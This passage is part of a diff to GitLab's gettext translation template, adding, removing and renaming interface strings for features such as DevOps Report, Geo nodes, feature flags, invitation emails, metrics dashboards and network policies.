-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8266,7 +8583,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8275,6 +8595,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8287,7 +8610,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8392,9 +8718,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8408,7 +8731,7 @@ msgid "Dismiss %d selected vulnerability as"
msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8660,9 +8983,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -8951,9 +9271,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9122,6 +9439,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9146,7 +9466,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9425,6 +9745,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9752,7 +10075,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9773,6 +10096,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9782,9 +10108,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9797,9 +10120,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9809,9 +10129,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9824,9 +10141,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10257,12 +10571,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10347,6 +10667,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10356,9 +10679,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10398,6 +10718,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10623,6 +10946,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10794,30 +11120,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10833,12 +11144,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10866,12 +11171,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10893,15 +11192,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -10929,27 +11219,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -10962,6 +11237,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11025,6 +11306,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11157,10 +11444,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11337,7 +11624,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11454,7 +11741,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11736,6 +12026,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12012,7 +12305,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12225,6 +12518,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12240,6 +12536,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12368,6 +12667,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12524,6 +12826,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,7 +14111,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
